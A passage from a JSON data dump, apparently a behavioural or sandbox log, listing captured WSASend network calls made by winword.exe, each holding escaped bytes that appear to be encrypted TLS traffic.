\\xb6\\xfc\\x90\r\\xc0\\xd4p/,-~\\x86\\xd8\\xe4\\xc72\\xd0\\x11\\xc7\\x1d\\xf7\\xc4\\xf7l\\xc8\\xd1^\\xaa{\\xad\\xb2\\xe82\\xfe\\xd3\\xb2\\xee\\xb6\\xf0a\\x01\\x1b\\x86\\xc7\\x93+l8\\x83\\xfd\\xc8\\x9c\\xf8w\\xe3\\xaa\\xcb\\x10_y\\xb8\\xb2\\xe3\\x9cap\\xcdo<\\xb4\\xb0\\xb2mn\\x13\\xa6ug"
  708. },
  709. {
  710. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x16t\\x0f\\x9b\\x10\\xc3\\x0c\\xfe\\x8b\\x94\\x92\\x0b\\x11\\xf7\\xf5\\x9cu\\xd6\\x03\\xbag\\xfc\\xc1 e\\xf6\\xc2\\xae\\xd9\t\t\\x03\\xb0\\xe3\\x89\\xb2\\x94n\"\\x13\\xc7\\xd0\\xd1&\\xdd\\xeb7bx\\xcbm\\xb1\\xbfrn$\\xe4x^\\x16>w\\xa6\\x90~\\xdf2\\xc8\\xac\\x0b\\xee\\x9fnk\\xa7r\\xb3{\\x94vi\\xdfe\\xae\\xdfc\\xcd\\xa6\\xd4\\xd7\\x86\\xd0\\xb6\\xbf\\x11i\\x7f\\x08\\xa4\\x05\\xf7\\xd0f\\xe8\\xf0\\xdam\\x0c\\xab,\\xd8\\x94\\xfdj\\xfd@\\xbc\\xf9\\x00\\xe5:b\\x8b5\\x8f\\xdb\\xcc$\"\\xcb\\x81zfs\\xd7\\x15%\\xf4v\\x86\\x1dc'\\xba\\xbb\\xdc_\\xa3q~\\x1ame\\xb6a\\x9d\\x9b\\xe5\\xd7)\\xff\\xb3\\x0b\\xa3\\xcfq!\\x1b\\xb1\\x12\\x14\\x08\\xe4\\xef\\xe6\\x8a\\xc0\\xec\\xd9\\xc1\\xa4w\\xadh\\xa2f\\xd5\\x0f\\xf7\\x86z\\x9e\\x84\\x18t]l\\xe9z\\x16\\xd6\\xb2\\xdb\\xcf\\xd7\\x83\\xe9g\\xff\\xf9\\xa6\\x16.\\x99pg&w\\xc8\\x83\\x1b\\x13\\xfft\\xb6\\xe6\\x90\\x07\\x0f\\xad\\x81\\xcfqg\\xea\\x17\\x9e\\xc6\\x07\\xees4\\x7f\\xfd\\xe4\\x1b5a\\xd3\\xee\\xcb"
  711. },
  712. {
  713. "http_request": "winword.exe_WSASend_\\xc4\\x00a\\x00\\xd8\\x81\\xc8\ta\\xae\\xae\\x94\\x86\\xe1/\\xde\\x88\\x1fy\\xf5\\x95y\\\ny\\x91\\x98\\xe8c\\x8f\\xcc\\xe8\t\\xe6v\\x84\\x9b\\xf6\\xe2;\\x08\\xd5\\xb4\\x8fv\\xbfl\\x1c\\xd0\\x0b\\xe8\\xaa=\\xc9\\xe7te|\\x0b\\xd1\\\\x17\\xf2\\xf8\\xd9\\x01\\x8bv\\x91\\xb20s\\x86#.oc\\xe7~\\x0c\\x96\\x12\\xc4\\xb5\\x17n\\xbb\\x15x\\xc4\\x1b\\x03\\x11\\xba\\xd7c\\xb4k2r\\xbb1\\x85\\xc6\\xc4\\x00\\x9frmgyn\\xad\\x0ef\\xe1\\xec o(c\\xce1\\xf7\\x8f;\\x07\\x92\\x94\\\\xb9\\x99\\x11j\\x0f\\x84\\xab\\xc4s\\xfe&\\x86\\xed\\x7fx(\\xe4\\x07\\xb4\\xb7,{\\xa2b\\x87\\xecn\\xf4\\xc1\\xd8\\x04\\xbf\\x00\\x8d\\xa3\\x93\\xcd\\xe2\\xaa\\x1a\\x0c3<\\xcb\\xfb\\xa2\\x1c\\x7f\\xb1l\\xb6\\xd5h\\x93\\xa7\\xd8y\\xac\\x05\\xe5xs\\xcf-\\x04x\\x16\\x0b\\xe4\\x9c\\x81%z\\xfec\\xac\ruer ,\\x1a&'\\`\\x89`\\xc41\\xcb\\xf9\\xbd\r\\xfb\\xcej\\xd9\\xe1\\t+3\\x1e\\xf3k\\xab\\x7f\\xf5\":zo\\xff\\xa9\\xb3\\xf0\\xef\\xcf\\x83b\\x8b\\xcc\\xdd\\x8a"
  714. },
  715. {
  716. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\xb9\\x86\\x97\\xe4\\x94\\x8d\\xcc\\x93\\x9c'\\xc3fzt\\xb3h\\x99{\\x90\\x81\\x0e\\xfdlg_j\\xa1\\xdd\\xa6\\xc2|\\xc2$u\\xcf\\x9di\\x93\\x86\\xe4\\xf3g\\xde\\xb5a@oa\\x8asv\\xd4qq\\x8dp\\xaf\\x99\rg,\te\\xd1\\x16yq\\x0c\\xd7\\xed}\\xfd\\xa1l\\xfd\\x18t\\xca\\xe5l\\xf2\\x16\\xae\\x04m\\x8f_z=\\xb72\\xf6\\xc0\\x04\\x03\\xbaw\\xcb\\xaf#ca\\x8f4\\xb91v94\\xc7l4r\\xb0\\x0f\\xa0va~\\x1a\\xfav\\x1dqqk\\xf9b>6\\x03zo\\x11{9\\xf8j/*\\x16\\xa7\\xa1f\\xe4\\xfe6\\xa7\\x0f\\xcar\\xf0\\xed\n\\xcckl\\xe2%\\x01q\\xb2\\xed\\x86\\xcbhjw\\xa0-\\x9a\\xf7\\xca\\x0ew4x\\xc3\\xd4\\xb4df\\xec\\x1e\\xf4\\x9d\\x9a%?\\xa9\\xfc- \\x15\\xf4\\x85<\\xd2\\xbf$3\\x85\\xea-\\x84\\x10\\g\\x08\\x999\\xf0\\xd9\\x8a\\x0fo\\x95(\\xf10\\x99\\xcbh\\xd4\\xef\\xe0\\x9c\\xfb\\xcc\\x14\\xea\\x8ek\\xbb9o\\xbf\\xb9\\\r\\x0f\\xef\\x15\\xe0c\\x80\\x16\\x13o9"
  717. },
  718. {
  719. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0105i\\x8f'\\xf7&\\xd2o\\xfc]u\r\\xfd\\x96\\x0b\\xf1\\x01\\xcc\\x15>0\\xed\\xdcvbly\\xd3\\xbf\\xa2\\xb9\\xb2k\\xb1\\x8d\\x03\\xb0\\xee~\\xb5\\xa1\"\\xf3\\xf6h\\x10x\\xe7i\\xe9(\\xaa\\xa2\\x88\\xea\\x064\\x0e\\\\xdf<\\xfb)\\x8c\\xdc%\\xbdv\\x7f\\x82req\\x01\\xf5\\x17\\xf86\\xfe\\x13j\\xb6_\\xcfa\\xe6r\\xbb\\xf1~{\\xd9\\xb3k\\xe4\\x9f\\x16\\xceuc{\\xc3\\xac\\x15/dl\\xce\\x1am\\xf2q\\xfbs\\xb1x\\xf9\\xda`\\xb1\\x03y\\xf2y\\xa5\\x8f\\x06_fuzmaqu\\xd6eo\\x96j\\xb7\\x9d\n\\xed\\xcd7c\\x14(p\\x80r\\xe6\\x88\\xe5\\xd0\\x84\\xaa\\xed\\xd5\\x93\\x1b\\xf4\\xf8\\xa3\\x1d\\xc9\\x8f\\x81\\x17\\x01z\\x16l\\xdfh\\xb6\\xb5\\xa5\\x12\\x8d\\xcd\\xa1\\xf4y\\x91x\\x9b\\xfb\\xd3+d1\\x85\\xc3\\xc2\\x18k\\xfe\\xb8\\xedu`,\\xba\\xbd<\\x1f<l\\x8e5q\\xc9 *\\x8e\\xe3\\xd4\\x7f&\\xd9\\x084t\\x9a\\x89\\x97\\x86\\xa6b\\xde\\xfc\\xab\\x9c\\xa3\\x98y\\xb7\\xab\\xcd\\xbe\\x14z\\xc1@>m(\\x9a\\xe1"
  720. },
  721. {
  722. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1\\xcb\\xeea\\x02,|&?\\x15oqp\\xa5\\xd8\\x1erz\\xf5k\\xd4\\x81\\xe7o\\x06\\xb0o\\xc3\\xce\\xc0_\\xd5\\xe8_\\xbc\\x15(\t1o\\xb7\\xdd\\xfa#iz\\x8c\\xc9\\xa8\\xe7\\xd8\tv\\xb1\\x19b8$\\x12\\x96\\xb9\\xec\\x0fo!\\xa1\\xae,\\xdbr\\xbf1\\x03\\x1d\\xd5\\xcc\\xe9\\x8e\\xf7\\xf6\\xc7\\xa5\\x93\\xa9\\xaa\\xd3,\\x9ej\\x010\\xdb\\x0cg\\x11\\x83\\x9b\\x8e1\\x17\\xc6\\xa9mk\\x9b\\xa3k\\xecl\\xb9o\\xd0f\\xb7*\\xf9\n}s\\xc6\\xd1\\xb3\\xe7\\xab\ne(z\\xb7v\t(ab\\x0b\\x1a\\xf0\\x9b\\xe2b\\x00\\xa0\\xca\"\\xbbf\\xbe\\xf4n\\x1c(\\xc3\\xb8\\xe1g\\xcf\\xbf\\xaa\\xd8\\xcafjz;6\\x95\\xda\\xc0\\x11\r\\x83\\x17\\x92\\xb2u\\x8dv\\xdav6\\xee8\\xd6\\xa2\\x0ci\\x01\\x96?\\xec\\x8d\\x8a8f=}\\xfa\\xe8\\x15\\xacv\\xa8\\x7f\\x8ah\\x98\\xe2\\x8b\\xc0=i\\x0f]o\\x11\\x17\\xba\\x90\\xcc\\xcc\\xc0a\\xf2\\xa2f\\\\xc4\\xdf\\x80\\x17\\x8dce\\xea\\xe6\\x82e\\xc5\\x91\\xa1e\\xf0/s\\xd2\\x184\\x13\\xb9a\\xd3"
  723. },
  724. {
  725. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010g\\xc0\\xd7t6\\xa3\\x95\\xd8\\x1a\\xf7\\xc7\\xdb\\x82\\xd1:\\x11\\xb4\\x88fhg\\xa9\\xa0\\x10)\\x12\\xed*a\\x81\\x1bj\\xdd\\xa9\\xf1~\\xbdu\\xfeyp\\x02\\xbdo\\x93\\xdaa\\xa9l\\x85\\x80h\\x10\\xe8@\\x97\\x07x\\xdb\\xc5\\xeb \\xda1\\x94\\xc5\\xa9\\xde8\\xf0\\xa33\\x04jl5\\x829\\x15p`\\x86\\xcf\\xd3$\\xe0\\xab\\xa3\\xd2\\x88\\xa3\\xef>^\\x92\\xa4q\\xb2p.2\\x7f>\\x190\\xda\\x92d\\xd3i6\\xba\\x0b\\x81\\xc6\\xe0\\x8c\\x84\\xc5y1u\\xb8k\\x0fm\\xc6\\xa9\\xfb\\xda\\x8d\\x18\\x05}\\xcd\\x91\\xf4:ka\\x9d\\x0c\\x8a\\x99\\x0bn\\x1b\\xbf\\x1b\\x80u\\xbe\tm\\xdb\\xd8#\\xa7z\\xadu\n\\xb1zk({\\x85\\x95l\\xe2\\xe1e\\xcc\\x12\\xa6\\xc1+\\xed\\xb3\\xeb\\x88\\x99yh\\xf0y&\\xc4~\\x9f\\x91\\x19\\xa7.\\xa6\\xbf\\x85e$ |\\x85\\xad\\x01\\xd1\\x96a\\xf3\\x1bvn(\\xfbd\\xa6\\x87=\\xcd8\\x8d\\xf6o\\x00z\\xfd\\xd8\\xa7d\\x15p\\xde2\\xf1\\x89\\xa0\\x0c2\\xfc6o\\x06\\xcen\\xdc\\xa8\\xa5\t\\xf1\n\\x1d"
  726. },
  727. {
  728. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010ezr\\xb3ga\\xd8\\xfao\\x17[\\xc6g\\x8e\\xc9\\x12\\xd9\\xf6\\x81f\\xa7,s\\x8a\\x0e\\x06\\xc1x\\x0b5\\xd7vg\\xe2\\x02\\xbe\\x9bs\\x83g\\xbc\\xe1\\xab\\x9dp\\xd9\\x1d\\x8e\\xb3\\xb9;\\xba!\\x8a9\\x9c\\xa3\\\\x8a\\x16\\xef\\x17\t\\xd2t\\xae\\x0fv|\\xb2\\xa9\\xa5\\x92\\x86\\xf4=\\xd8\\x1d\\x0e\\xc2\\x08\\x85\\x9f\\xef4i\\x8f\\xabh\\x9d{m\\xceq\\xec\\xded#\\x88\\xd8\\x8a\\x88\\x03jc\\xd4\\xd0\\x87e\\xfe\\x1e\\x96\"\\x03\\xd4\\xdd\\xb7\\x80\\xb0\\xdcs\\x99[\\x958\\xe8\\x86\\xdf?s>ec\\x15<\\x8602\\x1bx\\x88\\x0e~\\xd1]\\xd5f\"\\xbc\\xbc\\xf7\\xd9]i\\xcak\\xd2z\\x03t\\xb8\\xd5y\\xa8\\xfa%q\\x99q\\x12\\x99\\x9d\\xcf\\xf6b\\xdas\\xf6\\xf2\nc\\xdcjr4:=l\"\\xf0\\x96v\\x0f\\x19\\x96v\\xe6\\xec\\xeco\\xfe\\x84\\x1cp\\xe2=p\\x83\\xec\\xc6\\x99\\x1e\\xc2\\x18\\xfa\\x9a\\xe7;\\x17\\xc5p\\x1a\\x7fx\\xadj\\xae\\xbd\\xdf\t\\xef\\x98\\xf0\\xd5\\xfe\\xf6#bg\\xdf(\\xc8\\xc0/\\xf8\\x88\\xd3\\xb4\\xe49\\xad"
  729. },
  730. {
  731. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x01\\x9b\\x00lj\\xba\\x81\\xcdz\\x0f\\xc4\\xe7\\xa0\\xda\\xf0#\\x7f\\xf0\\xf2w\\xc2\n=\\xe0\\x86\\x8d>\\xd2\\x88\\x80;\\xa3\\x0b\\xd6+#+\\xdb,\\x13\\xd51\\xdf^=\\xa4\\xf7u\\x16\\xa0\\xac\\x9cv\\xdc\\xfe\\x02\\xa8\\x8cl9w\\xe1f\\xe6af\\xf8n\t\\xfeia[\\xcf\\xc4\\xa2g\\xd8sk\\xd4\\x1b\\x8c\\xf0u\\xff\\x96uw\\x8b\\xc8\\xf8?\\x19\\xfdk\\xf8ti*\\xd4\\xec#\\x96\\xc9\\xbf\\xf6\\xd5y\\x04:\\xfb\\x9d\\xeb\\xedqu\\xdb\\xdf;\\x95\\x94\"\\xd0\\\\xa8\\x1eg[tg\\x90\\xd8\\xd1\\x95;\\x1f\\x88\\xdb\\xed\\x89i\\xd2kbvn\\xc7n\\x85\\x9a\\x8d\\x005\\x83\\xc1\\x80\\xe9\"\\xd6\\x89\\xbb9\\xbf\\xca\\xdf\\x94\\xc95lf:z\\xed5\\xb5\\x04\\xc6\\xfc\\x90\\x8f\\x99\\xdd\\xd4\\x03\\x9d\\xc9\\xb3(n+\\x83t\\x8e\\x16\\x02\\x92av\\x00k\\x97\\xc9*\\xec5u\\xe9\\xa0%\\xebai^\\x91\\x84+\\xe2d}\\x05\\x91\\xc1\\xde:y{\\xf8\\xb8\\x17\\xbcc\\xf50`\\xd4\\xe5(\\xbb-\\xf62\\xcd\\xd3\\x96\\xe4\\xd4\\\\x01w#"
  732. },
  733. {
  734. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,#\\x11\\xe2\\xe8e\\xe9\\xa4\\x99\\xcd\\xa9!\r)3\\x14\\x03\\xa9\\xbb\\xe8\\x03\\x92\\xef \\x92\\xce\\x1c\\xb4\\x01\\xe4\\xe974\\xed\\x1b\\x81\\xca\\xd7\\xa0\\xdeh\\xeb\\xb25\\xc7\\x17\\x7f\\x8ae\\xc2\\xba\\xbf\\x9f?98\\xf2\\x1b\\x92b\\x10\\x0f\\xe7\\x89\\x17d\\x07\\xfa\\x9c\\x8c,g#y\\xde\\x91\\x1b\\xfe{\\xb7\\xb9\\x99\\\\xf5\\xee\\xd1_$\\x90\\xbf\\x9b\\xd3s<\\x95\\xbd\\xfc\\xba%h\\xba\\xb5+f\\xf7\\x8e\\xcd\r\\x82\\xd5\\xff\\x80!5\\xf8\\xe2\\xbd$\\xcd\\xfc2\\x94{\\x965\\x0e\\xca\\x1f|\\xc8\\xc5\\xd8\\xb9\\xd0o\\xb9\\x9a\\xf7i\\xd5\\xbf\\xc0v]\\x80_\\x99\ng#'\\xc6w\\x0e\\xc7\\xce\\xf4\\xf7}\\xf3%\\xd5\\x1dc\\xea\\xe4#\\x0c\\x9em\\xa7^\\x89\\xb1\\xaa<g\\xb8\\xfa\\xe0\\xa5\\xe1\\x9b\\xba_\\xd06\\xa3t\\xbel\\xa2q\\x9a.v#<\\xaa\\a\\xa0\\x8e-m\\x0f\r\\x14\\xbf\\x81\\xf7\\xc8\\x94\\xd27tdji\\xe3\\xa6\\x95\\x9erert\\x80w\\xad\\xf9(\\x83\\x1a\\xb0\\xf7j\\x99\\x1c\\xcbu\\xf5\\xf1<\\xf4\\xb6i\\x95\\xe3f\\xf5"
  735. },
  736. {
  737. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x96\\xaa\\xfc\\x07m\\xa7\\x0c\\xf0\\xed\\x946@\\xd8\\x80/\\x12\\xb3\\x0bg\\xa5\\x86inb\\xd3\\x10\\xb3\\xf3\\x96\\x0e~\\xf9\\xcd\\x1c\\x00\\x90\\xf1t^\\x81e\\xb3]\\xf8\\xb6l\\xa5mu(\\xf7\\x961_*\\xd4\\xd0\\x08{\\xaahw\\x8b\\x9db\\xc8\\xfbt\\xb5\\x8c\\xba\\h\\xce\\x81[\\xf790v\\xe0>\\xe0\\xee\\xcafx\\x04p\\x00\\x08\\x14r\\xa0\\xbfs\\xf1\\x036\\xf6\\xef2\\xe8$\\xadv\\xbe\\x9f\\x1f\\xa6\\xd1?\\xcf\\x9d\\xb5\\xd6\\x11\\xdd\\xf9\\xabkb\\x07\\xd5\\xa0\\x13!\\xb6\\x7f\\x99\\x9aeh_:\\x9a\\xfdi\\x19\\xbf\\xe71\\x15ga\\x18|{\\x89%\\x9er[\\xf2\\p\\x1b6\\xe5\\xf3s\\xacm\\x93=\\xad6\\xc9\\xa4\\x97\\xfe{\\xec\\x97v\\x8a\\xcc\\x925&s\\x14\\x1e]\\x18\\xb8\\xacz4\\x9fv\\x07\\xe6o\\xe8.>&i\\xd9\\x89\\xeea\\xb1h\\xa0\\xd3\\xbb\\x9b,a\\x1c\\xf9g=8\\xf6\\xc7\\xc2\\x9b\\x83\\x1f\"\\xb8\\xc3\\x7fl[z\\x8f\\x17g'\\xd4\\xc4^ai\\xd3\\xb0\\xa7\\x13\\xd3\\xf4h\\x8a\\xe5\\xc3w3\\xa5"
  738. },
  739. {
  740. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010w;\\x9be\\x0ct\\xb9r\\xf2e\\x95l47\\x87u\\x83'\\xe6\\xc6j\\x1eb\\xe2\\xea\\xfc5\\x12\\xf7n\\x06\\xd3\\x86~z\\x1dpi\\x8a\\x18~\\xc6q\\xc2\\xccv\\xb8_d\\xe2 \\xd3\t\\xd4\\x1f\\x1e\\x12\\xac\\x8e\\xfc\\xed\\x1d\\xab4\\xdc\\x9ac\\xfb\\xa8~\\x9a#\\x0b%\\x14<\\x18\\x92\\xce\\xc9\\x12.\\xa2\\xd0;h\\x0c/\\x1dk2yovx\\xd6\\x9e \\x87?k9\\xeepc\\x144\\x90\\xca\\x18\\xb8\\xdbr\\xb3v\\xb9\\x1b\\x19\\x13a\\x06\\xbc;v\\x83\\xa3\\xda]%\\xc3\\x94\\x0b\\x7f;\\x8c;\\xa9q\\xda\\x91*\\x18\\xcc\\xfde\\xd1%l\\x14\\xcd\\x99s\\xd6o\\x0f@\\xd44[a\\xb2\\xaf\\xefu\\xfb\\xac\\xfd\\x10\\xdaa\\x1cl<p\\xf62lc j\\xc2*\\x83w\\xb4#q\\xb1\\x16\\x0c\\x03\\xaa\\xdfm\\xe3;6\\x03\\xc2s'm\\xbb\\xa5\\x8fml\\x82(y\\x19\\x88s\\xb0\\x99mm!bb\\xdc\\x1bsd\\xfce[\\xa1\\xa5\\x95sf\\xa8\\xa2\\xf35\\xb1.+\\xd0\\\\xd9\\xb2\\x9b\\xa1w3\\x08%\\xad\\xc7"
  741. },
  742. {
  743. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\x19\\xb9c \\xa7qa\\xe5\\xb1\\xd1\\xbd\n4\\xa8\\xe8pzv\\xca\\xc2u\\x15\\x10\t|\\x04\\x9a!x\\x81\\xf8\\x16\\x84t\\xea\n!\\x05\\xa0\\xa8dpe\\xb8%r]\\x89r!{ao\\x13\\x90u\\xfb\\xfca\\xd8j\\xd5\\xdc\\x9a\\x11sts\\xca\\xa8\\x04\"m\\x98\\xbc)v\\xda\\xe8\\x0cac6\\x80\\xa5\\xa9v\\xb6;a\\xd2\\x1b\\x0b\\x10\\x8bd\\xe9\\x95\\xc0s\\xf9g\\xe5\\x15\\x19\\xceg\\xe9\\x88\\xf7k\\x8d\\x97\\x84\\x82\\xdfw\\x98\\x1fv\\x13\\xff\\xc6y't#\\xae\\x07\\xbah\\x9b\\xbf\\xab?\\xb6\\xc4t`\\x84c\\xca\\x93%\\xc7\\x00t\\x89\\x06 dl\\xa9\\xa4\\x05`r7}l\\xda\\x12'l\\xfd\\xc2\\x9ey-\\x93y\\x9f\\xfa\\xfc\\xc7q~\\x13\\xbe\\x9e\\xf9.\\x03\\xf4\\xa3\\xaa3\\x13b\\xd4\\x9ewtq$\\xecf+\\xf7\\xa2c\\x02z\\xee\\xec\\xcc\\x86\\x8d+x\\xe1\\x12\\xd7\\x1d\\x12y\\x92\t\\xf0w\\xe6\\xea\\xf1\\xf5\\x0c\\xc3\\xac\\xc0_]\"\\xa8\\xd5g\\x9em\\xb3\\xf0<i\\x0671\\xdfz\\x9d\\xfd\\xe6f\\xeb"
  744. },
  745. {
  746. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x\\xcd+\\x88\\x91k\\xb4\\x8a\\x0cv\\xf8\\xab%\\xb3\\xb7\\x95\\xe3\\xfb\\xb5\\xd5\\xf4\\xc4\\xeb\\xd6\\xd1f\\x8460\\xcd$\\x1b\\xbb\\xd5\\xecs\\xbd\\xcd\\xccn\\x90p\\xd5\\xfc\\xd8\\x07[\\xd5\\xd4\\xa5\\x9d\\xcfk\\x0fg\\x82\\xc7\\xd3\\xd2\"\\x0f\\xee\\xd0kn0v4\\xd0o\\x88\\x0b_\\x08r\\xca\\xe3\\xd0\\x04\\x92\\x8c\\xa7\\xe4%\\xdc\\xb8\\xa1\\xd3\\x92b\\xe2a\\xfcr\\xdb\\xb6\\xb8\\xc2\\xc1\\xd3\\x13\\x1d\\xa3\\xf4\\xf1\\x16\\xa7l\\x1b\\x8es\\xa2vq\\x13\\x92\\xb5\\xdc\\xf5\\xd0\\x91\\x91\\x1c\\xa8\\x10\\x9d?eh\\xc1\\xc8v\\xf8\\x9dd\\xa8\t9l\\x1f2\\xd8\\xf1\\xfb\\x8e1>\"\\x0b\\x98x\\x0b`\\xac\\x05\\xd9\\x98<\\x9e\\xa7l\\x90\\xf2\\xdc\\xaf\\xfb\\xb2\nq\\x98\\xb4\\\\x1d`\\x86^\\xa3\\xfd\\xb9%t%\"\\x95\\xc4f\\x8c\\xbb/\\x94vl\\xde\\x85#\\x96-\\xad\\x93\\xd5x\\x18\\x8c'#x#\\xa82s\\xd6\\xd1a%\\xa4\\xfe&\\xc0\\x18\\xdd\\x04\n\\xd3s1p\\xac\\xfd\\xf6\\xb6\\xef\\x83\\xe7\\xf0\\xb8\t\\x9do\\xa4e\\xe8\\xcff\\xa6(9\\xbb\\x1e\\x1a)\\xb7"
  747. },
  748. {
  749. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\xef\\x11\\xe7&b\\xe5\r\\xd5 \\xcb\\xeb\\xf5dd@\\x17hs,\\xcep\\xa4\\x90\\xc0-\\xb5&\\x0ew\\x1c\n\\xea\\x97c\\x86n\\xba\\xca\\x9e\\xf3\\x87\\xcbtf\\x1d\\x18\\x89\\x83;f=\\x1a+\\x06.=r\\x1d.g\\x99\\x9f}8\\xd2\\xc9m\\xa2j\\x1c\\x7f\\xb6{\\xa6\\aa\\x8e\\xf9\\xa5\\x1a\\x88\\x92\\xda\\xdc\\xc2\\xc92\\xb72\\xa2g\\x97\\xa7\\xd3\\xf4\\x9b\\xef\\xb4\\xf2\\xc5m\\xfa\\x96\\xd5u\\xe1\\x87\\xe4\\xcd8\\xd2\\xbe\ts\\xc0\\xba\\xbct\\x15\\xb2\\xca[\\xd2\\x1f\\xda\\xa3\\xd8js!0>\\xe5al\\xb9\\xdb\\x87\\xde?\\xf5\\xbb%\\xd0\\x11h\\x16\\xf6\\x9a-\\xf1\\x9f\\xb4p\t\\xa6\\x1e\\x82\\xb3\\x956\\xae\\xc5)\\xb8\\xf2\\xb5\\x1co\\xb7\\xaa\\x0er\\xe5\\x15\\x9e\\xf4wy\\xe9\\xe4\\xd0\\xc6\\x19\\xec\\xa2*.\\x8a$\\xc3:\\xd2\\xaf\\x84ah;\\xaa*\\xa7`\\xc2pgnxm\\x11\\xeae9\\xd5u\\x91\\xb5\\xae\\x8b\\x90_\\xaa\\x1c`\\xe2?\\xf2u.hz\\x92\\x00\r\\xd4f\"\\x88\\xb0\\xa6\\xcf\\x07n\t\\xcf\tw\\xd3\\x91'"
  750. },
  751. {
  752. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x95\\xb3w\\x85\\xees\\x04\\x1d\\xa3d\\xfbg%\\x18c\\x04\\x12ql\\xcf\\xe4\\x14{f\\xb5\\x81\\xa2f\\x95\\x15\\xd2\\x19g\\xc5\\x17\\xcbs'*\\x8ekx\\x1a\\x89\\xee\\x9e\\x96r\\x85s9\\xae%\\xce\\x1d\\xcd!:\\x92d \\x9e.\\xe6\\x0b\\xeb \\x1d\\x89\\xf1\\xe55\\xb1\\xd4\\xb7\\x15\\x10\\xb1\\xbat\\xba\\xe5\\xd6\\x1b\\x84\\xfa:\\xe0\\x0b\\xeet\\x05w\\xbf\\x9d\\xa2\\xab8\r\\xd8\\x0fq\\x81\\xd6\\xcbs\\x0b=[\\x0e\\x8d\\x9b\\x1d\\x033u\\x16\\xfaws\\x8f\\xaf-\\xe7\\x03a}\\x17o(\\xb2\\xa6\\x8d~\\x0bk\\x86\\x9f\\x05\\xf6\\xd0\\xce?\\x82\\xef\\x8e\\xe4t\\xc5\\x04\\x10\\xd8\\xd7\\x9e)\\xe9\\x8c\\x08\\xf3)\\xea\\x89\\xfd\\xd9\\xcae\\x9e\\xb0\\xf4\\xb89rzt<s\\x00\t\\x0cs\\xabh\\xd9p\\xe67\\x94\\xd5\\x8a\\xffw_\\xf4t\\xe5/\\x00\\x171\\x8a_yw#x\\x87s\\xcb\\xdeh\\xf5\\xc4\\x7fw\\x13su\\xce\\xe27\\xe2\\xfb\\xb9o\\xd8\\x15\\xbev\\xdbt\\]\\x14\\xc7b\\x98h!\\xf4\\xce.\\xe1\\xffdc\\x8bg\\x80w\\x86:"
  753. },
  754. {
  755. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010`\\xee0t\\xd7\\xa5\\xff{\\xdc\\x07\\xc0\\xf50\\\\xa4\\x11\\x87!\\x1a\\x97o5\\x18n\\x0f/\\xd3\\x0f\\xd6v\\xa1{/\\xb4\\xab\\x01p\\x89\\x1bf\\xe4bh\\xd8|\\xc7\\x07\\xcc\\x10m\\x01\\x1b\\xd4\\x99<\\xfa>\\xc0b\\x0fg\nm\\x04\\x83\\x9ac\\xd2(a]\\xd3\\xd7ek\\xc5\\x19\\xf5\\xd0h\\x11\\x96h8\\xfb\\x955\\x81\\xf44\\x06\\xc39\\xa2z\\xb2\\xd44\\xea\\xb0\\xc6\\xd6c]m\\x87\\x8a\\x18\\xbb)u\\xea\\x1bb\\xfb\\x935\\xc2\\x06\r\\xb3\\xd0)wk\\xc6\\xe5ge\\x8f\\xc65nzq@\\x87\\xf4\\x14s\\xf2\\x9c\\x94b\\xbc\\x02\\xe5\\xca\\xc6sra\\x97t,=\\x80\\xab\\x0e\\x9f\\xfe\\xe8\\xafc$\\x0cw\\x17\\xd2\\\\xff3\\xda\\x10\\x12zy\\x1d\\xe7\\x85\\x98\\xc3\\xe6\\x8au\\xce\\xe1\\x0ez\\x08\\x81q\\xe24\\x9a\\x91\\x11^d\\xd9\\xbc\\x1ezv\\x9d\\xfa\\x08\\xfe\\x90\\xd9\\x8f'\t\\xdd\\x97\\xb3\\x9e\\xcd\\xec(\\xb1\\xe0\\xc7\\x7f\\x132c\\xe12\\xe39\\x92c\\x94c\\xa0~\\x1d\\xbdt\\xd5\\xc4\\xf9\\x94\\x87\\x13\\xbav\\x1a\\xf0\\xce"
  756. },
  757. {
  758. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf5\\x97{\\xa6\\xb7*\\x18r\\xa4ze\\xe8\\xce\\x08a9\\x0e\\x13e5)\\x0c8\nj\\x08\\xe4~\\xafy\\xe4\\xfa\\x16\\xdb{\\x9d\\xc7\\xc5\\xd9\\xfd\\x8c\\x12\\xd5p\\x80\\xef\\xa2\\xee\\xb5\\x8fq\\x19lwb\\xc5\\x02n\\xacb\\x03/~,c\\x1f\"\\xd8\\xd9\\xa4[\\xdf\\xd4\\xd2\\xed\\xe8\"ukkc/o,v\\x02'c+6u\\x14\\x1e\\xaf\\xe3\\x1bb{_2k\\xf9\\x8d\\xa5;\\xc8\\x14\\xd6\\xd5s.\\xcb\\x97j\\xe5c\\xb5\\xf7\\xc3xq!u\\x8cl\\xcd\\xca\\x01\\x14wa\\x81l\\xf2\\xaa\\x15\\x1f\\xea\\xf8\\x82+\\x18\\xb7r}\\x17\\xe7\\xaa\\x00z\\xc6<\\xe8k{als\\xd0k\\x8d\\xa4\\xcb\\xbfb\\xe7\\x8c\\xa8\\x06\\x18)\\xb7>\\xbf\\xdcs\\xaf\\x14\\xb1+k\\x12a\\xd6\\xd2\n\\xc61f\\xdam\\xe2\\xc8\\x87\\xf7\\xfb6v\\xb8ka\\x18\\x86q`\\xf4\\xf0\\xe7< \\xef+\\xa2\\xcb\\xce:\\xb5\\xc7g(_\\xad\\xd1\\x92\\xbfa\\x12))\\xf5\\x125)\\x16\\xf7\\xca\\xe5x\\x95#xz])lxa\\xce\\xb0\r\\xd8"
  759. },
  760. {
